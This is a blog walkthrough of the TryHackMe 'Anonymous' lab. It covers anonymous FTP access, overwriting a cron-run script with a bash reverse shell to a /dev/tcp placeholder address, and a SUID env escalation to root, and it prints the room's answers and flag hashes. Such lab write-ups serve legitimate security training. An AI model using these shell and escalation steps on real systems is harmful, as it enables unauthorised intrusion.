Sitemap

TryHackMe: Anonymous

4 min readJul 7, 2023

--

Press enter or click to view image in full size

Room: https://tryhackme.com/room/anonymous
THM Rating: Medium
Actual Rating: Medium

Summary:

The TryHackMe room ‘Anonymous’ is a great box to follow along and answer questions as you quest further to find the user.txt and root.txt files. It challenges your enumeration skills and after gaining a foothold, you can find flags right away and begin advancing your skills on privilege escalation.

Walk-through

Add the IP address to your /etc/hosts file.
Command Ran: echo ‘10.10.76.185 anonymous.thm’ >> /etc/hosts

Run Rustscan with basic Nmap scripts.
Command Ran: rustscan -a anonymous.thm — — ulimit 6000 — — -sC -sV -A

Press enter or click to view image in full size

Question 1: Enumerate the machine. How many ports are open?
4

Press enter or click to view image in full size

Question 2: What service is running on port 21?
FTP

Press enter or click to view image in full size

Question 3: What service is running on ports 139 and 445?
SMB

Press enter or click to view image in full size

Command Ran: smbclient -L \\anonymous.thm

Question 4: There’s a share on the user’s computer. What’s it called?
pics

Now we need to find a way to get a foothold on the box. Since the room is titled Anonymous we should start with anonymous login on the FTP service.

Press enter or click to view image in full size

Anonymous login work and there a few files in the scripts directory.

I ran the get command using a dash symbol at the end of the command to read the to_do.txt file locally on the box rather than downloading. |
Command Ran: get to_do.txt -

Get Krang2K’s stories in your inbox

Join Medium for free to get updates from this writer.

I ran the same command as above against the clean.sh file.

Press enter or click to view image in full size

Looking at the permissions of the clean.sh script, it shows we have read write execute access. The script is used to check the tmp directory and cleanup files then log the output to the removed_files.log file. Looking at the contents of removed_files.log, it seems the clean.sh script runs very often. Maybe every minute or so. We need to create our own clean.sh script and PUT it on the FTP server so hopefully the cronjob will execute our script rather the cleanup script.

Create your own file named clean.sh and add a bash reverse shell to it!
#!/bin/bash
bash -i >& /dev/tcp/yourtunIP/porttocatch 0>&1
Here is my file.

Don’t forget to run the command chmod +x clean.sh or chmod 777 clean.sh
From the folder you created the clean.sh file, log back into the FTP server and PUT the file.

Press enter or click to view image in full size

Commands Ran:
ftp anonymous@anonymous.thm
cd scripts
put clean.sh
get clean.sh -

Start a netcat listener on your Kali attacker machine to catch the reverse shell on the port you specified.

Command Ran: nc -lvnp 8443

Now we wait for a minute or two.

Success!

User.txt is in the /home/namelessone directory.

User.txt: 90d6f992585815ff991e68748c414740

I uploaded linpeas.sh from my Kali attacker machine to the /tmp directory of victim using wget and python3 http server.

Press enter or click to view image in full size
Press enter or click to view image in full size

Linpeas points out many escalations paths such as PwnKit, Baron Samedit but it shows env in SUID’s as well. Let’s try using GTFO bin’s and priv. escalate with /usr/bin/env.

Press enter or click to view image in full size
Press enter or click to view image in full size

Command Ran: /usr/bin/env /bin/sh -p

Root.txt: 4d930091c31a622a7ed10f27999af363

--

--

Krang2K
Krang2K

Written by Krang2K

Penetration Testing write-ups, discussions, and all other things considering. When all else fails, RTFM!